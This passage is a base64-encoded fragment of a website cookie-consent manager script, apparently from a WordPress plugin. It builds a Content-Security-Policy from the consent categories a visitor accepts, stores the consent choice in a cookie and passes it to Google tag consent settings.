ICAgICAgICAgIGZvcihwb2xpY3kgaW4gYWNuT3B0aW9ucy5jc3BfbGlzdCkgewogICAgICAgICAgICAgICAgcG9saWN5ID0gYWNuT3B0aW9ucy5jc3BfbGlzdFtwb2xpY3ldOwoKICAgICAgICAgICAgICAgIGlmKGFjbk9wdGlvbnMuaWdub3JlUG9saWNpZXMuaW5kZXhPZihwb2xpY3kubmFtZSkgIT09IC0xKSB7CiAgICAgICAgICAgICAgICAgICAgYWxsb3dlZFBvbGljaWVzLnB1c2gocG9saWN5Lm5hbWUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICB2YXIgZG9tYWluc1BvbGljeSA9ICJodHRwczovL3d3dy5hZHNpbXBsZS5hdCAqLmNvb2tpZS1tYW5hZ2VyLmNvbSAiOwoKCQkJaWYgKGFjbkdldENvb2tpZSgnYWNtX3N0YXR1cycpICE9PSB1bmRlZmluZWQpIHsKCiAgICAgICAgICAgICAgICB2YXIgcG9saWN5Q2F0ZWdvcmllcyA9IFtdOwoKCQkJCWZvcihwb2xpY3kgaW4gYWNuT3B0aW9ucy5jc3BfbGlzdCkgewoJCQkJCXBvbGljeSA9IGFjbk9wdGlvbnMuY3NwX2xpc3RbcG9saWN5XTsKCiAgICAgICAgICAgICAgICAgICAgaWYocG9saWN5Q2F0ZWdvcmllc1twb2xpY3kuY2F0ZWdvcnldID09PSB1bmRlZmluZWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcG9saWN5Q2F0ZWdvcmllc1twb2xpY3kuY2F0ZWdvcnldID0gW107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHBvbGljeUNhdGVnb3JpZXNbcG9saWN5LmNhdGVnb3J5XS5wdXNoKHBvbGljeS5uYW1lKTsKICAgICAgICAgICAgICAgIH0KCgkJCQlmb3IgKHBvbGljeUNhdGVnb3J5IGluIHBvbGljeUNhdGVnb3JpZXMpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoYWNuR2V0Q29va2llKCdhY21fc3RhdHVzJywgcG9saWN5Q2F0ZWdvcnkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAodmFyIHggaW4gYWNuT3B0aW9ucy5iYXNlQ2F0ZWdvcmllcykgewoJCQkJCQkJeCA9IGFjbk9wdGlvbnMuYmFzZUNhdGVnb3JpZXNbeF07CgkJCQkJCQlpZiAoeC5uYW1lID09IHBvbGljeUNhdGVnb3J5KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIAkJYWxsb3dlZFBvbGljaWVzID0gYWxsb3dlZFBvbGljaWVzLmNvbmNhdChwb2xpY3lDYXRlZ29yaWVzW3BvbGljeUNhdGVnb3J5XSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgogICAgICAgICAgICAgICAgLy8gIGV4dGVybmFsIHJlc291cmNlcwogICAgICAgICAgICAgICAgZm9yICh2YXIgYyBpbiBhY25PcHRpb25zLmNvb2tpZUNhdGVnb3JpZXMpIHsKICAgICAgICAgICAgICAgICAgICBjID0gYWNuT3B0aW9ucy5jb29raWVDYXRlZ29yaWVzW2NdOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmKCBjLmV4dGVybmFsUmVzb3VyY2VzICE9PSB1bmRlZmluZWQgKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBhY25HZXRDb29raWUoJ2FjbV9zdGF0dXMnLCBjLm5hbWUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb21haW5zUG9saWN5ICs9ICIgIiArIGMuZXh0ZXJuYWxSZXNvdXJjZXMuam9pbigiICIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKCQkJfSBlbHNlIHsKICAgICAgICAgICAgICAgIHZhciBkb21haW5zID0gW107CiAgICAgICAgICAgICAgICB2YXIgY2F0ZWdvcmllcyA9IFtdOwoKICAgICAgICAgICAgICAgIC8vIEdldCAiY2hlY2tlZCIgYW5kICJkaXNhYmxlZCIgY2F0ZWdvcmllcwogICAgICAgICAgICAgICAgZm9yKGtleSBpbiBhY25PcHRpb25zLmNvb2tpZUNhdGVnb3JpZXMpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgY2F0ZWdvcnkgPSBhY25PcHRpb25zLmNvb2tpZUNhdGVnb3JpZXNba2V5XTsKICAgICAgICAgICAgICAgICAgICBpZihjYXRlZ29yeS5jaGVja2VkICYmIGNhdGVnb3J5LmRpc2FibGVkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhdGVnb3JpZXMucHVzaChjYXRlZ29yeS5uYW1lKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCBjYXRlZ29yeS5leHRlcm5hbFJlc291cmNlcyAhPT0gdW5kZWZpbmVkICYmIGNhdGVnb3J5LmNoZWNrZWQgKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvbWFpbnNQb2xpY3kgKz0gIiAiICsgY2F0ZWdvcnkuZXh0ZXJuYWxSZXNvdXJjZXMuam9pbigiICIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGFjbk9wdGlvbnMuY3NwX2xpc3QuZm9yRWFjaChmdW5jdGlvbihpdGVtKSB7CiAgICAgICAgICAgICAgICAgICAgZm9yKGNhdE5hbWUgaW4gY2F0ZWdvcmllcykgewogICAgICAgICAgICAgICAgICAgICAgICBpZihjYXRlZ29yaWVzW2NhdE5hbWVdID09PSBpdGVtLmNhdGVnb3J5KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb21haW5zLnB1c2goaXRlbS5jb250ZW50WydkZWZhdWx0LXNyYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAgICAgZG9tYWluc1BvbGljeSArPSAiICIgKyBhY25VbmlxdWVBcnJheShkb21haW5zKS5qb2luKCIgIik7CgogICAgICAgICAgICAgICAgZG9tYWluc1BvbGljeSArPSAiICIgKyBhY25VbmlxdWVBcnJheShkb21haW5zKS5tYXAoZnVuY3Rpb24oZWwpe3JldHVybiBlbC5yZXBsYWNlKCcqLicsICcnKX0pLmpvaW4oIiAiKQogICAgICAgICAgICB9CgogICAgICAgICAgICBhbGxvd2VkUG9saWNpZXMgPSBhY25VbmlxdWVBcnJheShhbGxvd2VkUG9saWNpZXMpOwoKICAgICAgICAgICAgdmFyIGRpcmVjdGl2ZXMgPSB7CiAgICAgICAgICAgICAgICAiZGVmYXVsdC1zcmMiOiBbIidzZWxmJyAndW5zYWZlLWlubGluZScgJ3Vuc2FmZS1ldmFsJyBkYXRhOiBibG9iOiAiICsgZG9tYWluc1BvbGljeV0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIGZvcihwb2xpY3kgaW4gYWxsb3dlZFBvbGljaWVzKSB7CiAgICAgICAgICAgICAgICBwb2xpY3kgPSBhbGxvd2VkUG9saWNpZXNbcG9saWN5XTsKICAgICAgICAgICAgICAgIHBvbGljeSA9IGFjbk9wdGlvbnMuY3NwX2xpc3QuZmluZChmdW5jdGlvbih4KSB7IHJldHVybiB4Lm5hbWUgPT0gcG9saWN5IH0pOwoKICAgICAgICAgICAgICAgIGZvcihkaXJlY3RpdmUgaW4gcG9saWN5LmNvbnRlbnQpIHsKICAgICAgICAgICAgICAgICAgICBpZihkaXJlY3RpdmVzW2RpcmVjdGl2ZV0gPT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICAgICAgICAgICAgICBkaXJlY3RpdmVzW2RpcmVjdGl2ZV0gPSBbXTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGlmIChkaXJlY3RpdmVzW2RpcmVjdGl2ZV0uaW5kZXhPZihwb2xpY3kuY29udGVudFtkaXJlY3RpdmVdKSAhPSAtMSkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGRpcmVjdGl2ZXNbZGlyZWN0aXZlXS5wdXNoKHBvbGljeS5jb250ZW50W2RpcmVjdGl2ZV0pCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHZhciBwb2xpY3lDb250ZW50ID0gJyc7CiAgICAgICAgICAgIGZvcihkaXJlY3RpdmUgaW4gZGlyZWN0aXZlcykgewogICAgICAgICAgICAgICAgdmFyIHZhbHVlID0gZGlyZWN0aXZlc1tkaXJlY3RpdmVdLmpvaW4oJyAnKTsKICAgICAgICAgICAgICAgIHBvbGljeUNvbnRlbnQgKz0gZGlyZWN0aXZlICsgJyAnICsgdmFsdWUgKyAnOyAnOwogICAgICAgICAgICB9CgogICAgICAgICAgICB2YXIgYWNuQWRkTWV0YSA9IGZhbHNlOwoKICAgICAgICAgICAgaWYoIGFjbk9wdGlvbnMuYmFzZUNhdGVnb3JpZXMubGVuZ3RoICkKICAgICAgICAgICAgICAgIGFjbk9wdGlvbnMuYmFzZUNhdGVnb3JpZXMuZm9yRWFjaChmdW5jdGlvbihlbCkgewogICAgICAgICAgICAgICAgICAgIGlmKCAhYWNuR2V0Q29va2llKCdhY21fc3RhdHVzJywgZWwubmFtZSkgKQogICAgICAgICAgICAgICAgICAgICAgICBhY25BZGRNZXRhID0gdHJ1ZTsKICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgaWYoIGFjbkFkZE1ldGEgJiYgd2luZG93LmFjbS5pbnZhbGlkX2xvYWRpbmcgPT09IGZhbHNlICkKICAgICAgICAgICAgICAgIGFyRXFpdi5mb3JFYWNoKGZ1bmN0aW9uIChlbCkgewogICAgICAgICAgICAgICAgICAgIHZhciBlcXVpdk1ldGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJtZXRhIik7CiAgICAgICAgICAgICAgICAgICAgZXF1aXZNZXRhLnNldEF0dHJpYnV0ZSgiaHR0cC1lcXVpdiIsIGVsKTsKICAgICAgICAgICAgICAgICAgICBlcXVpdk1ldGEuc2V0QXR0cmlidXRlKCJjb250ZW50IiwgcG9saWN5Q29udGVudCk7CgogICAgICAgICAgICAgICAgICAgIGhlYWQuYXBwZW5kQ2hpbGQoZXF1aXZNZXRhKTsKICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgaWYoIHdpbmRvdy5hY20uaW52YWxpZF9sb2FkaW5nICE9PSBmYWxzZSApCiAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyggJ0FDTTogQ1NQIGhhcyBOT1QgYmVlbiBhZGRlZC4nICk7CgkJfQoKICAgICAgICBpZiggd2luZG93LmFjbS5sb2FkZWQgIT09IHRydWUgKXsKICAgICAgICAgICAgd2luZG93LmFjbS5sb2FkZWQgPSB0cnVlOwoKICAgICAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICB3aW5kb3cuY29va2llY29uc2VudC5pbml0aWFsaXNlKGFjbk9wdGlvbnMpOwogICAgICAgICAgICB9KTsKCiAgICAgICAgICAgIHdpbmRvdy5kb2N1bWVudCAmJiB3aW5kb3cuZG9jdW1lbnQucmVhZHlTdGF0ZSA9PT0gJ2NvbXBsZXRlJyAmJiB3aW5kb3cuY29va2llY29uc2VudC5pbml0aWFsaXNlKGFjbk9wdGlvbnMpOwogICAgICAgIH0KCX0KCX0KfWVsc2V7CiAgICB2YXIgZCA9IG5ldyBEYXRlKCk7CiAgICBkLnNldFRpbWUoZC5nZXRUaW1lKCkgKyAzNjUqMjQqNjAqNjAqMTAwMCk7CiAgICBkb2N1bWVudC5jb29raWUgPSAiYWNtX3N0YXR1cz10cnVlOyBleHBpcmVzPSIgKyBkLnRvVVRDU3RyaW5nKCkgKyAiOyBwYXRoPS8iOwp9CnZhciBRPShlLHUsYyk9Pm5ldyBQcm9taXNlKChhLHMpPT57dmFyIGg9cD0+e3RyeXt3KGMubmV4dChwKSl9Y2F0Y2goRSl7cyhFKX19LGQ9cD0+e3RyeXt3KGMudGhyb3cocCkpfWNhdGNoKEUpe3MoRSl9fSx3PXA9PnAuZG9uZT9hKHAudmFsdWUpOlByb21pc2UucmVzb2x2ZShwLnZhbHVlKS50aGVuKGgsZCk7dygoYz1jLmFwcGx5KGUsdSkpLm5leHQoKSl9KTsoZnVuY3Rpb24oKXt2YXIgZT17c3RhdHVzOiIifSx1PVtdLGM9W10sYT17fSxzPVtdLGg9bnVsbCxkPSExLHc9e30scD17fSxFPXtjb29raWU6e25hbWU6ImFjbV9zdGF0dXMiLHBhdGg6Ii8iLGRvbWFpbjoiIixleHBpcnlEYXlzOjM2NX19LEM9e30sbT13aW5kb3cuY29va2llY29uc2VudCxQPSExLEI9ZnVuY3Rpb24oKXt2YXIgdDt0cnl7dmFyIG89bS51dGlscy5nZXRDb29raWUoRS5jb29raWUubmFtZSk7dHJ5e2J0b2EoYXRvYihvKSk9PT1vJiYobz1hdG9iKG8pKX1jYXRjaChsKXt9dD1KU09OLnBhcnNlKG8pfWNhdGNoKGwpe3Q9e319cmV0dXJuIHR8fCh0PXt9KSx0fSx6PWZ1bmN0aW9uKCl7dmFyIHQ9QigpO20udXRpbHMuZGVlcEV4dGVuZChhPXt9LGUpLG0udXRpbHMuZGVlcEV4dGVuZChhLHQpLHR5cGVvZiBndGFnPT0iZnVuY3Rpb24iJiZndGFnKCJzZXQiLCJkZXZlbG9wZXJfaWQuZFpUTmhNaiIsITApLEwoYSl9LEQ9ZnVuY3Rpb24oKXtmb3IodmFyIHQ9e2NoZWNrZWQ6MCx1bmNoZWNrZWQ6MH0sbz1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdkaXYuY2Mtd2luZG93IGlucHV0W25hbWU9InNlbGVjdF9hbGxfY2F0ZWdvcmllcyJdJyksbD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdkaXYuY2Mtd2luZG93IGRpdi5jYy1kZXRhaWxzLWJvZHkgaW5wdXRbdHlwZT0iY2hlY2tib3giXScpLmxlbmd0aC0xLGY9MDtmPEMuYmFzZUNhdGVnb3JpZXMubGVuZ3RoO2YrKyl7dmFyIHY9Qy5iYXNlQ2F0ZWdvcmllc1tmXSxrPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoImRpdi5jYy13aW5kb3cgaW5wdXQjIit2LmlkKydbdHlwZT0iY2hlY2tib3giXScpO2suY2hlY2tlZD90LmNoZWNrZWQrKzp0LnVuY2hlY2tlZCsrfW8uY2hlY2tlZD09PSExJiZ0LmNoZWNrZWQ9PT1sP28uY2hlY2tlZD0hMDooby5jaGVja2VkPT09ITAmJnQudW5jaGVja2VkPT09bHx8dC5jaGVja2VkIT09bCkmJihvLmNoZWNrZWQ9ITEpfSxaPWZ1bmN0aW9uKHQpe3ZhciBvPUMuY29va2llQ2F0ZWdvcmllcyxsPUMuYmFzZUNhdGVnb3JpZXMsZj17fTt0PT09dm9pZCAwJiYodD0wKSx0PT09MCYmKGY9QigpKTtmb3IodmFyIHY9MDt2PGwubGVuZ3RoO3YrKyl7dmFyIGs9ITEsXz0hMSx5PSEwLHg9bFt2XSxOPW9bdl0sRz1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCJkaXYuY2Mtd2luZG93IGlucHV0IyIreC5pZCsnW3R5cGU9ImNoZWNrYm94Il0nKTtpZihvKWZvcih2YXIgbiBpbiBvKW49b1tuXSxuLm5hbWU9PT14Lm5hbWUmJihfPW4uY2hlY2tlZCxrPW4uZGlzYWJsZWQseT1uLnZpc2libGUpO3Q9PT0xP189ITA6dD09PTI/Xz1OLmNoZWNrZWQmJk4uZGlzYWJsZWQ6Zlt4Lm5hbWVdIT09dm9pZCAwJiYoXz1OLmNoZWNrZWQmJk4uZGlzYWJsZWR8fGZbeC5uYW1lXSksRyYmKEcuY2hlY2tlZD1fKSxhW3gubmFtZV09XyxlW3gubmFtZV09Xyx1W3gubmFtZV09ayxjW3gubmFtZV09eX10PT09MCYmRCgpfSxPPWZ1bmN0aW9uKHQpe3ZhciBvPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb29raWVEZXRhaWxzIik7aWYobyE9PW51bGwpe3Q9PT12b2lkIDAmJih0PSExKTt2YXIgbD1vLmNsb3Nlc3QoIi5jYy13aW5kb3ciKSxmPWwucXVlcnlTZWxlY3RvcigiLmNjLW1vZGFsX190YWJzLWhlYWRpbmdfaXRlbS5hY3RpdmUiKS5nZXRBdHRyaWJ1dGUoImRhdGEtdGFiIik7bC5xdWVyeVNlbGVjdG9yQWxsKCJbZGF0YS10eXBlXSIpLmZvckVhY2goaz0+ay5zdHlsZS5kaXNwbGF5PWsuZ2V0QXR0cmlidXRlKCJkYXRhLXR5cGUiKT09PWY/IiI6Im5vbmUiKSxaKHQ/MTpkPzA6MSk7dmFyIHY9bC5xdWVyeVNlbGVjdG9yKCIjY29va2llRGV0YWlscyIpO3YmJih2LnN0eWxlLmRpc3BsYXk9ZD8iYmxvY2siOiJub25lIil9fSxVPWZ1bmN0aW9uKHQpe3ZhciBvPXQudGFyZ2V0O2lmKG8udGFnTmFtZT09PSJBIiYmby5oYXNBdHRyaWJ1dGUoImhyZWYiKSYmby5nZXRBdHRyaWJ1dGUoImhyZWYiKS50cmltKCkhPT0iIiYmby5nZXRBdHRyaWJ1dGUoImhyZWYiKSE9PSIjIilyZXR1cm4hMDtpZihvLnRhZ05hbWU9PT0iU1BBTiImJihvPW8ucGFyZW50Tm9kZSksby50YWdOYW1lPT09IklOUFVUIiYmby50eXBlPT09ImNoZWNrYm94IiYmIW8uZGlzYWJsZWQpe3ZhciBsPW8uY2xvc2VzdCgiLmNjLWRldGFpbHMtYm9keSIpLGY9bC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJzZWxlY3RfYWxsX2NhdGVnb3JpZXMiXScpLHY9bC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTtpZihvLm5hbWU9PT1mLm5hbWUpZm9yKHZhciBrPTA7azx2Lmxlbmd0aDtrKyspe3ZhciBfPXZba107Xy5uYW1lIT09Zi5uYW1lJiYoXy5kaXNhYmxlZHx8KF8uY2hlY2tlZD1mLmNoZWNrZWQsYVtfLm5hbWVdPV8uY2hlY2tlZCkpfWVsc2UgRCgpLGFbby5uYW1lXT1vLmNoZWNrZWR9aWYoKCIgIitvLmNsYXNzTmFtZSsiICIpLnJlcGxhY2UoL1tcblx0XS9nLCIgIikuaW5kZXhPZigiIGNjLWRldGFpbHMtbWVudS1pdGVtICIpPi0xJiZKKG8pLCgiICIrby5jbGFzc05hbWUrIiAiKS5yZXBsYWNlKC9bXG5cdF0vZywiICIpLmluZGV4T2YoIiBjYy1kZXRhaWxzLXRvb2dsZSAiKT4tMSlpZihkPSFkLE8oKSxvLmNsYXNzTGlzdC5jb250YWlucygiY2MtbW9kYWwtY2xvc2UiKSlkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuY2MtbW9kYWxfX3RhYnMtaGVhZGluZ19pdGVtIikuZm9yRWFjaCh5PT55LmNsYXNzTGlzdC5yZW1vdmUoImFjdGl2ZSIpKSxkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuY2MtbW9kYWxfX3RhYnMtaGVhZGluZ19pdGVtW2RhdGEtdGFiPSJoaW53ZWlzIl0nKS5jbGFzc0xpc3QuYWRkKCJhY3RpdmUiKSxkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuY2MtbW9kYWxfX3RhYi1wYW5lbCIpLmZvckVhY2goeT0+eS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUiKSksZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbnRlbnQtaGlud2VpcyIpLmNsYXNzTGlzdC5hZGQoImFjdGl2ZSIpO2Vsc2V7Y29uc3QgeT1vLmdldEF0dHJpYnV0ZSgiZGF0YS10YWIiKTtbImVpbnN0ZWxsdW5nZW4iLCJ0Y2YiLCJoaW53ZWlzIl0uaW5jbHVkZXMoeSkmJmooeSl9fSxWPWZ1bmN0aW9uKCl7dmFyIHQsbztmb3IobyBpbiB3KWlmKHcuaGFzT3duUHJvcGVydHkobykmJmEuc3RhdHVzPT09ImFsbG93IiYmYVtvXSlmb3IodD0wO3Q8d1tvXS5sZW5ndGg7dCsrKXdbb11bdF0oKTtmb3IobyBpbiBwKWlmKHAuaGFzT3duUHJvcGVydHkobykmJihhLnN0YXR1cz09PSJkaXNtaXNzInx8IWFbb10pKWZvcih0PTA7dDxwW29dLmxlbmd0aDt0KyspcFtvXVt0XSgpfSwkPWZ1bmN0aW9uKHQpe3ZhciBmO2NvbnN0IG89dC50YXJnZXQuY2xvc2VzdCgiLmNjLXdpbmRvdyIpLGw9dC50YXJnZXQ7aWYobyYmKHQua2V5PT09IkVudGVyInx8dC5rZXk9PT0iICIpKWlmKGwuY2xhc3NMaXN0LmNvbnRhaW5zKCJjYy10Y2YtcmFkaW8tbGFiZWwiKXx8bC5jbGFzc0xpc3QuY29udGFpbnMoImNjLWRldGFpbHMtbWVudS1pdGVtIil8fGwuY2xhc3NMaXN0LmNvbnRhaW5zKCJjYy10Y2YtaGVhZGVyLXRpdGxlIikpe3QucHJldmVudERlZmF1bHQoKTtjb25zdCB2PWwucXVlcnlTZWxlY3RvcigiLnN1bW1hcnktYXJyb3ciKTtpZih2JiZsLmNsYXNzTGlzdC5jb250YWlucygiY2MtdGNmLWhlYWRlci10aXRsZSIpKXYuY2xpY2soKTtlbHNlIGlmKGwuY2xhc3NMaXN0LmNvbnRhaW5zKCJjYy1kZXRhaWxzLW1lbnUtaXRlbSIpKXtjb25zdCBrPWwuZGF0YXNldC5jYXRlZ29yeUlkO2wuY2xhc3NMaXN0LnRvZ2dsZSgiY2Mtc2VsZWN0ZWQiKSwoZj1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKGAjJHtrfUNvbnRlbnRgKSk9PW51bGx8fGYuY2xhc3NMaXN0LnRvZ2dsZSgiY2Mtc2VsZWN0ZWQiKX1lbHNlIGwuY2xpY2soKX1lbHNlIHQucHJldmVudERlZmF1bHQoKSxsLmNsaWNrKCk7ZWxzZSBsLmNsYXNzTGlzdC5jb250YWlucygiY2MtcmV2b2tlIikmJih0LmtleT09PSJFbnRlciJ8fHQua2V5PT09IiAiKSYmKHQucHJldmVudERlZmF1bHQoKSxsLmNsaWNrKCkpfTttLnN1YnNjcmliZT1mdW5jdGlvbih0LG8pe2Euc3RhdHVzPT09ImFsbG93IiYmYVt0XSYmbygpLHcuaGFzT3duUHJvcGVydHkodCl8fCh3W3RdPVtdKSx3W3RdLnB1c2gobyl9LG0udW5zdWJzY3JpYmU9ZnVuY3Rpb24odCxvKXsoYS5zdGF0dXM9PT0iInx8YS5zdGF0dXM9PT0iZGlzbWlzcyJ8fCFhW3RdKSYmbygpLHAuaGFzT3duUHJvcGVydHkodCl8fChwW3RdPVtdKSxwW3RdLnB1c2gobyl9O3ZhciBNPWZ1bmN0aW9uKHQpe3ZhciBvPU9iamVjdC5rZXlzKEIoKSkubGVuZ3RoPjA7dHlwZW9mIHdpbmRvdy53cF9zZXRfY29uc2VudD09ImZ1bmN0aW9uIiYmbyYmWyJyZXF1aXJlZCIsInByZWZlcmVuY2VzIiwic3RhdGlzdGljcyIsInN0YXRpc3RpY3MtYW5vbnltb3VzIiwibWFya2V0aW5nIiwidW5jbGFzc2lmaWVkIl0uZm9yRWFjaChmdW5jdGlvbihmKXtsZXQgdj1mLnRvTG93ZXJDYXNlKCkucmVwbGFjZSgvXHMrL2csIi0iKTtzd2l0Y2godil7Y2FzZSJyZXF1aXJlZCI6dj0iZnVuY3Rpb25hbCI7YnJlYWs7Y2FzZSJ1bmNsYXNzaWZpZWQiOnY9InVuY2F0ZWdvcml6ZWQiO2JyZWFrO2RlZmF1bHQ6YnJlYWt9d3Bfc2V0X2NvbnNlbnQodix0W2ZdPyJhbGxvdyI6ImRlbnkiKX0pfTttLlBvcHVwLnByb3RvdHlwZS5yZXZva2VDaG9pY2U9ZnVuY3Rpb24odCl7dGhpcy5vcHRpb25zLmVuYWJsZWQ9ITA7Y29uc3Qgbz1uZXcgQ3VzdG9tRXZlbnQoImFjbV9ndG1fcmV2b2tlIix7YnViYmxlczohMCxjYW5jZWxhYmxlOiEwfSk7ZG9jdW1lbnQuZGlzcGF0Y2hFdmVudChvKSx0fHx0aGlzLm9wZW4oKX07dmFyIEw9ZnVuY3Rpb24odCl7dmFyIGwsZix2LGssXyx5O3ZhciBvPU9iamVjdC5rZXlzKEIoKSkubGVuZ3RoPjA7aWYoZ2NtRW5hYmxlZCYmdHlwZW9mIGd0YWc9PSJmdW5jdGlvbiImJiFQJiZvKXtndGFnKCJjb25zZW50IiwidXBkYXRlIix7ZnVuY3Rpb25hbGl0eV9zdG9yYWdlOnQucmVxdWlyZWQ/ImdyYW50ZWQiOiJkZW5pZWQiLHBlcnNvbmFsaXphdGlvbl9zdG9yYWdlOnQucHJlZmVyZW5jZXM/ImdyYW50ZWQiOiJkZW5pZWQiLGFuYWx5dGljc19zdG9yYWdlOnQuc3RhdGlzdGljcz8iZ3JhbnRlZCI6ImRlbmllZCIsYWRfc3RvcmFnZTp0Lm1hcmtldGluZz8iZ3JhbnRlZCI6ImRlbmllZCIsYWRfdXNlcl9kYXRhOnQubWFya2V0aW5nPyJncmFudGVkIjoiZGVuaWVkIixhZF9wZXJzb25hbGl6YXRpb246dC5tYXJrZXRpbmc/ImdyYW50ZWQiOiJkZW5pZWQiLHNlY3VyaXR5X3N0b3JhZ2U6ImdyYW50ZWQifSksTSh0KSxQPSEwO2NvbnN0IHg9bmV3IEN1c3RvbUV2ZW50KCJhY21fZ3RtX3VwZGF0ZSIse2J1YmJsZXM6ITAsY2FuY2VsYWJsZTohMCxkZXRhaWw6e3N0YXR1czoidXBkYXRlZCIsdGltZXN0YW1wOm5ldyBEYXRlKCkuZ2V0VGltZSgpLGN1cnJlbnRDb25zZW50U3RhdGU6e2Z1bmN0aW9uYWxpdHlfc3RvcmFnZToobD10LnJlcXVpcmVkKSE9bnVsbD9sOiEwLHBlcnNvbmFsaXphdGlvbl9zdG9yYWdlOihmPXQucHJlZmVyZW5jZXMpIT1udWxsP2Y6ITEsYW5hbHl0aWNzX3N0b3JhZ2U6KHY9dC5zdGF0aXN0aWNzKSE9bnVsbD92OiExLGFkX3N0b3JhZ2U6KGs9dC5tYXJrZXRpbmcpIT1udWxsP2s6ITEsYWRfdXNlcl9kYXRhOihfPXQubWFya2V0aW5nKSE9bnVsbD9fOiExLGFkX3BlcnNvbmFsaXphdGlvbjooeT10Lm1hcmtldGluZykhPW51bGw/eTohMX19fSk7ZG9jdW1lbnQuZGlzcGF0Y2hFdmVudCh4KX19O20uUG9wdXAucHJvdG90eXBlLnNldFN0YXR1cz1mdW5jdGlvbih0KXt2YXIgbz1FLmNvb2tpZTtPYmplY3Qua2V5cyhtLnN0YXR1cykuaW5kZXhPZih0KT49MD8oYS5zdGF0dXM9dCx0PT09ImRlbnkiJiZaKDIpLG0udXRpbHMuc2V0Q29va2llKG8ubmFtZSxidG9hKEpTT04uc3RyaW5naWZ5KGEpKSxvLmV4cGlyeURheXMsby5kb21haW4sby5wYXRoKSxWKCksTChhKSx0eXBlb2Ygc3RvcmVUQ0ZEYXRhPT0iZnVuY3Rpb24iJiZzdG9yZVRDRkRhdGEoKSx0IT0iZGlzbWlzcyImJndpbmRvdy5sb2NhdGlvbi5yZWxvYWQoITApKTp0aGlzLmNsZWFyU3RhdHVzKCl9LG0uUG9wdXAucHJvdG90eXBlLmdldFN0YXR1cz1mdW5jdGlvbigpe3JldHVybiB6KCkscy5tYXAoZnVuY3Rpb24odCl7dmFyIG89ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQodC5pZCk7byYmKG8uY2hlY2tlZD0hIWFbdC5uYW1lXSl9KSxMKGEpLGEuc3RhdHVzfTt2YXIgSD1tLlBvcHVwLnByb3RvdHlwZS5pbml0aWFsaXNlLFc9ZnVuY3Rpb24oKXtpZighKGdlbmVyYWxPcHRpb25zLm5vdGljZXMudHlwZXM9PT12b2lkIDB8fGdlbmVyYWxPcHRpb25zLm5vdGljZXMudHlwZXMubGVuZ3RoPT09MCkpe3ZhciB0PSExO2lmKGdlbmVyYWxPcHRpb25zLm5vdGljZXMudHlwZXMuZm9yRWFjaChmdW5jdGlvbih4KXtnZW5lcmFsT3B0aW9ucy5iYXNlTm90aWNlc1t4XSE9PXZvaWQgMCYmKHQ9PT0hMXx8dC5wcmlvcml0eTw9Z2VuZXJhbE9wdGlvbnMuYmFzZU5vdGljZXNbeF0ucHJpb3JpdHkpJiYodD1nZW5lcmFsT3B0aW9ucy5iYXNlTm90aWNlc1t4XSl9KSx0IT09ITEpe3ZhciBvPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jYy13aW5kb3ciKSxsPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jYy1yZXZva2UiKSxmPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jYy1tb2RhbCIpO28uY2xhc3NMaXN0LmFkZCgiY2MtaW52YWxpZC1wb3NpdGlvbiIpO3ZhciB2PWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jYy1idG4uY2MtYWxsb3ciKSxrPWRvY3VtZW50L